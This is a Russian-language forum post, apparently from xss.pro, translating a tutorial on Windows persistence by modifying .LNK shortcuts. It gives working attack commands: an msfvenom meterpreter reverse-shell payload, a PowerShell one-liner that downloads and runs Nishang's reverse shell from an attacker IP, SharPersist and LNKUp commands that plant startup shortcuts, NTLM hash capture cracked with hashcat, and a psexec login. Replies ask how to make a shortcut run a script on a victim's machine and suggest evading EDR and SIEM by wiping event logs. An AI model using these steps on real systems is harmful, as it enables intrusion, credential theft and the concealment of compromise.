• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Персистенс в Windows: изменение ярлыка (T1547)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Согласно MITRE, "Злоумышленники могут настроить системные параметры для автоматического запуска программы во время загрузки системы или входа в систему, чтобы сохранить персистенс или получить привилегии более высокого уровня в скомпрометированных системах. Операционные системы могут иметь механизмы для автоматического запуска программы при загрузке системы или входе в учетную запись".

Модификация ярлыка — это метод, с помощью которого злоумышленник может заменить абсолютный путь исполняемого файла, который должен быть запущен, ярлыком и замаскировать его под законно выглядящий значок, который можно запускать при запуске, тем самым обеспечивая персистенс. В этой статье мы рассмотрим два таких простых метода, которые могут помочь пользователю обрести персистенс, используя этот метод.

ТАКТИКА MITRE: повышение привилегий (TA0004) и персистенс (TA0003)

ID ТЕХНИКИ MITRE: T1547 (автозапуск при загрузке или входе в систему)

SUBTITLE: PE инъекция (T1547.009)

Описание


Файл ярлыка заканчивается расширением *.LNK и содержит абсолютный путь к исполняемому файлу, который можно запустить с помощью этого ярлыка. Ярлыки использовались для атак злоумышленниками с тех пор, как 50 cent были на пике славы, а также когда не былдо неосведомленности о кибербезопасности. Одним из таких примеров является распространение вредоносных программ с помощью компакт-дисков и DVD-дисков, используемых в общественных интернет-кафе, которые часто содержат вредоносные ярлыки. В современных системах Windows файлы LNK могут запускать множество файлов, включая exe, cmd, vbs, powershell и т. д. Теперь злоумышленник может создать новый ярлык со встроенным скриптом powershell или изменить существующий ярлык для более скрытых атак. В этой статье мы говорим о таких подходах.

PERS1 - ручная модификация ярлыка + реверс-шелл

Чтобы начать эксплуатацию, нам сначала нужно настроить полезную нагрузку, которую мы будем запускать при запуске системы. Я создал полезную нагрузку meterpreter, используя msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe

1646125704180.png


Теперь, когда он готов, мы можем перейти к первому методу персистентности. Здесь мы предполагаем, что скомпрометировали систему и уже подключились через RDP к серверу или любой другой протокол, который позволяет нам просматривать графический интерфейс жертвы. На рабочем столе жертвы мы нашли ярлык Firefox.

1646125716707.png


Как видите, целевое поле в ярлыке настроено на запуск исполняемого файла firefox. Нам просто нужно переключить его с помощью нашей собственной команды. В этом случае я буду запускать реверс шелл, указав путь к файлу shell.exe. Кроме того, мы запустим программу в свернутом режиме, чтобы она была немного более незаметной.

1646125733083.png


Но, как вы могли заметить, значок был изменен. Чтобы заменить его обратно на желаемый Firefox, мы щелкнем значок изменения и укажем его на двоичный файл firefox.exe.

1646125746640.png


Все должно быть установлено и сделано сейчас так, и значок был заменен на значок Firefox.

1646125758912.png


Теперь нам нужно поместить этот ярлык в папку автозагрузки, чтобы он выполнялся каждый раз при перезагрузке системы.

%appdata%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

1646125776390.png


Примечание. Убедитесь, что файл shell.exe находится в папке \users\public, чтобы он мог работать. После перезапуска системы наш обработчик успешно получил обратный шелл.

1646125787025.png


PERS2 — ручная модификация ярлыков + Powershell One Liner

Хотя указанный выше метод остается эффективным, для его использования требуется, чтобы пользователь вручную развернул полезную нагрузку на машине жертвы. Следующий способ чуть более тонкий. Мы будем развертывать однострочный файл powershell в файле ярлыка. Вы можете прочитать нашу статью здесь (https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/) о большем количестве таких тактик. Теперь мы будем использовать Nishang для этой цели. В разделе целевого пути вам нужно указать эту команду в качестве ввода:

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.78.142/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.142 -Port 4444

1646125813841.png


Вам нужно изменить свой IP и порт в соответствии с вашей средой.

Теперь вам нужно скачать скрипт Invoke-PowerShellTcp.ps1 и запустить локальный сервер Python на порту 80.

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
python3 -m http.server 80


1646125833788.png


Теперь, когда ярлык помещен в папку автозагрузки и система перезагружена, мы должны получить обратную оболочку на нашем прослушивателе netcat!

1646125846019.png


PERS3 — изменение ярлыка с помощью SharPersist.exe

Следующий метод, который мы собираемся продемонстрировать, можно выполнить локально с клиентского терминала (обратная оболочка CLI). Мы будем использовать реализацию C# показанного ранее метода под названием "SharPersist". Чтобы загрузить кего, вы можете запустить следующую команду:

wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe

1646125889241.png


После первоначальной компрометации жертвы нам нужно загрузить этот исполняемый файл в систему жертвы вместе с полезной нагрузкой msfvenom meterpreter, которую мы сделали. Теперь, чтобы создать ярлык с помощью SharPersist, вы можете запустить инструмент со следующими флагами:

t=> целевая папка
c=> команда для запуска после выполнения
f=> имя файла

powershell wget 192.168.78.142/SharPersist.exe -O SharPersist.exe
powershell wget 192.168.78.142/shell.exe -O shell.exe
SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\Users\Public\shell.exe" -f "ignite" -m add


1646125916327.png


Как вы могли заметить, ярлык ignite.lnk был помещен в папку автозагрузки. После перезагрузки системы мы получили meterpreter shell!

1646125932668.png


PERS4 — создание ярлыков и компрометация хэшей NTLM

Последний метод — самый тонкий и наименее отслеживаесый из всех. Здесь мы используем скрипт Python под названием LNKUp, чтобы создать файл LNK и заставить жертву аутентифицироваться в нашей системе, и, в свою очередь, мы получаем его учетные данные NTLM. Это также можно сделать с помощью SharPersist, добавив команду проверки подлинности cmd или вызвав общий ресурс SMB, настроенный в kali (например, smbserver Impacket), используя путь UNC. Чтобы загрузить и запустить файл, вам необходимо установить python2.7 и pip2.7. После этого вы можете сгенерировать полезную нагрузку LNK следующим образом:

apt install python2.7
cd /usr/lib/python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2.7 get-pip.py
git clone https://github.com/plazmaz/lnkup.git
cd lnkup
python2.7 generate.py --host 192.168.78.133 --type ntlm --output readme.lnk

1646125962271.png


Теперь мы можем загрузить этот файл в папку автозагрузки вручную, используя скомпрометированный клиентский терминал.

cd C:\Users\hex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
powershell wget 192.168.78.133/readme.lnk -O readme.lnk


1646125995329.png


Теперь нам нужно настроить ответчик на текущем интерфейсе. Это важно, поскольку аутентификация будет вызвана обратно в наш сетап и ответчик поймает ее.

1646126012265.png


Теперь ждем перезагрузки системы. Как только он перезапустится, вы увидите, что мы получили хэши NTLMv2.

1646126024066.png


Мы можем скопировать это в файл с именем "hash" и использовать hashcat для их взлома. Код модуля для NTLMv2 — 5600.

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force

1646126047155.png


Как вы можете видеть выше, хэш был взломан, а открытый текстовый пароль указан как «123». Теперь мы можем использовать эти учетные данные с psexec и войти в систему.

python3 psexec.py hex:123@192.168.78.141
whoami

Заключение


Лишь несколько атак в области кибербезопасности прошли проверку временем, и вредоносный ярлык — одна из них. Поставщики не предлагают реального решения для этой техники, потому что она полагается на доверчивость жертвы, чтобы это работало так же, как фишинг. Надеемся, вам понравилась статья. Спасибо за прочтение.


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-persistence-shortcut-modification-t1547/
 
great topic!
i have a problem with this:
I want my powershell script to be downloaded and executed on victim machine, with .lnk file
how can i make this possible?
 
It's good article, thanks for sharing "but" still detectable by SIEM, Endpoint, SOAR and EDR systems. You know EventLog is logging everything and Security Operation Center will be monitor incoming/outgoing connections, file creation, process creation and also Sysmon logs. Sysmon logs are also providing file hashes and this can be detected easily by monitoring systems. Do you have any idea bypass SIEM, Endpoint or EDR products with this scenario? I would make a script or doing these by sequence and at the end deleting logs with Wevtutil completely "but" quickly. Then this would be great!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх